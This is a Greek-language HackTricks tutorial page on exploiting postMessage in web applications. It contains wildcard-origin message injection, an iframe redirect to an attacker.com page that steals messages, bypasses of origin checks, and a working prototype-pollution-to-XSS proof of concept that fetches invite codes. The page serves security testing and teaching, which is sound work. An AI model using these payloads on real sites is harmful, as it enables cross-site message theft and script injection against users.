228 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PostMessage Vulnerabilities
## PostMessage Vulnerabilities
{{#include ../../banners/hacktricks-training.md}}
## Send **PostMessage**
**PostMessage** χρησιμοποιεί την παρακάτω συνάρτηση για να στείλει ένα μήνυμα:
```bash
targetWindow.postMessage(message, targetOrigin, [transfer]);
# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">
# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')
# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')
# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Σημειώστε ότι το **targetOrigin** μπορεί να είναι ένα '\*' ή μια διεύθυνση URL όπως _https://company.com._\
Στο **δεύτερο σενάριο**, το **μήνυμα μπορεί να σταλεί μόνο σε αυτή τη διεύθυνση** (ακόμα και αν η προέλευση του αντικειμένου παραθύρου είναι διαφορετική).\
Εάν χρησιμοποιηθεί το **wildcard**, τα **μηνύματα θα μπορούσαν να σταλούν σε οποιαδήποτε διεύθυνση**, και θα σταλούν στην προέλευση του αντικειμένου Window.
### Επίθεση iframe & wildcard στο **targetOrigin**
Όπως εξηγείται σε [**αυτή την αναφορά**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), αν βρείτε μια σελίδα που μπορεί να **iframed** (χωρίς προστασία `X-Frame-Header`) και που **στέλνει ευαίσθητο** μήνυμα μέσω **postMessage** χρησιμοποιώντας ένα **wildcard** (\*), μπορείτε να **τροποποιήσετε** την **προέλευση** του **iframe** και να **leak** το **ευαίσθητο** μήνυμα σε μια διεύθυνση που ελέγχετε.\
Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το **targetOrigin** είναι **ρυθμισμένο σε μια διεύθυνση URL και όχι σε wildcard**, αυτό το **κόλπο δεν θα λειτουργήσει**.
```html
<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s
//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>
```
## εκμετάλλευση addEventListener
**`addEventListener`** είναι η συνάρτηση που χρησιμοποιείται από το JS για να δηλώσει τη συνάρτηση που **αναμένει `postMessages`**.\
Ένας κώδικας παρόμοιος με τον παρακάτω θα χρησιμοποιηθεί:
```javascript
window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return
// ...
},
false
)
```
Σημειώστε σε αυτή την περίπτωση πώς το **πρώτο πράγμα** που κάνει ο κώδικας είναι **έλεγχος της προέλευσης**. Αυτό είναι τρομερά **σημαντικό** κυρίως αν η σελίδα πρόκειται να κάνει **οτιδήποτε ευαίσθητο** με τις πληροφορίες που έχει λάβει (όπως η αλλαγή ενός κωδικού πρόσβασης). **Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints** και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).
### Αρίθμηση
Για να **βρείτε ακροατές γεγονότων** στην τρέχουσα σελίδα μπορείτε να:
- **Αναζητήσετε** τον κώδικα JS για `window.addEventListener` και `$(window).on` (_έκδοση JQuery_)
- **Εκτελέσετε** στην κονσόλα εργαλείων προγραμματιστή: `getEventListeners(window)`
![](<../../images/image (618) (1).png>)
- **Μεταβείτε** στο _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
![](<../../images/image (396).png>)
- Χρησιμοποιήστε μια **επέκταση προγράμματος περιήγησης** όπως [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ή [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Αυτές οι επεκτάσεις προγράμματος περιήγησης θα **παρεμβαίνουν σε όλα τα μηνύματα** και θα σας τα δείχνουν.
### Παράκαμψη ελέγχου προέλευσης
- Το χαρακτηριστικό **`event.isTrusted`** θεωρείται ασφαλές καθώς επιστρέφει `True` μόνο για γεγονότα που παράγονται από γνήσιες ενέργειες χρηστών. Αν και είναι δύσκολο να παρακαμφθεί αν έχει υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφαλείας είναι αξιοσημείωτη.
- Η χρήση του **`indexOf()`** για την επικύρωση προέλευσης σε γεγονότα PostMessage μπορεί να είναι επιρρεπής σε παράκαμψη. Ένα παράδειγμα που απεικονίζει αυτή την ευπάθεια είναι:
```javascript
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη.
- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
- Αναμενόμενη Αποτυχία:
```javascript
result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
```
- Παράκαμψη της διαφυγής:
```javascript
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας `name` που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.
- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει την προέλευση, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής προέλευσης.
### Παράκαμψη e.origin == window.origin
Όταν ενσωματώνετε μια ιστοσελίδα μέσα σε ένα **sandboxed iframe** χρησιμοποιώντας %%%%%%, είναι κρίσιμο να κατανοήσετε ότι η προέλευση του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν ασχολείστε με **attributes sandbox** και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.
Με την καθορισμένη **`allow-popups`** στο attribute sandbox, οποιοδήποτε παράθυρο popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα του. Αυτό σημαίνει ότι εκτός αν περιληφθεί επίσης το attribute **`allow-popups-to-escape-sandbox`**, η προέλευση του παραθύρου popup ορίζεται επίσης σε `null`, ευθυγραμμισμένη με την προέλευση του iframe.
Κατά συνέπεια, όταν ανοίγει ένα popup υπό αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας **`postMessage`**, και οι δύο άκρες αποστολής και λήψης έχουν τις προελεύσεις τους ορισμένες σε `null`. Αυτή η κατάσταση οδηγεί σε ένα σενάριο όπου **`e.origin == window.origin`** αξιολογείται ως αληθές (`null == null`), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή προέλευσης `null`.
Για περισσότερες πληροφορίες **διαβάστε**:
{{#ref}}
bypassing-sop-with-iframes-1.md
{{#endref}}
### Παράκαμψη e.source
Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο στο οποίο ακούει το σενάριο (ιδιαίτερα ενδιαφέρον για **Content Scripts από επεκτάσεις προγράμματος περιήγησης** για να ελέγξετε αν το μήνυμα στάλθηκε από την ίδια σελίδα):
```javascript
// If its not, return immediately.
if (received_message.source !== window) {
return
}
```
Μπορείτε να αναγκάσετε το **`e.source`** ενός μηνύματος να είναι null δημιουργώντας ένα **iframe** που **στέλνει** το **postMessage** και **διαγράφεται αμέσως**.
Για περισσότερες πληροφορίες **διαβάστε:**
{{#ref}}
bypassing-sop-with-iframes-2.md
{{#endref}}
### Παράκαμψη X-Frame-Header
Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να **τοποθετήσετε τη σελίδα του θύματος** μέσα σε ένα `iframe`. Αλλά ορισμένα headers όπως το `X-Frame-Header` μπορούν να **αποτρέψουν** αυτή τη **συμπεριφορά**.\
Σε αυτές τις περιπτώσεις, μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν παραληφθούν:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Κλοπή μηνύματος τροποποιώντας τη διεύθυνση του iframe
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να **αλλάξετε τη διεύθυνση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage για Prototype Pollution και/ή XSS
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** την **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`.
Μερικά **πολύ καλά εξηγημένα XSS μέσω `postMessage`** μπορούν να βρεθούν στο [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε **Prototype Pollution και στη συνέχεια XSS** μέσω ενός `postMessage` σε ένα `iframe`:
```html
<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}
setTimeout(get_code, 2000)
</script>
</body>
</html>
```
Για **περισσότερες πληροφορίες**:
- Σύνδεσμος στη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Σύνδεσμος στη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html)
- Σύνδεσμος στη σελίδα σχετικά με [**μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Αναφορές
- [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
- [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
- Για εξάσκηση: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
{{#include ../../banners/hacktricks-training.md}}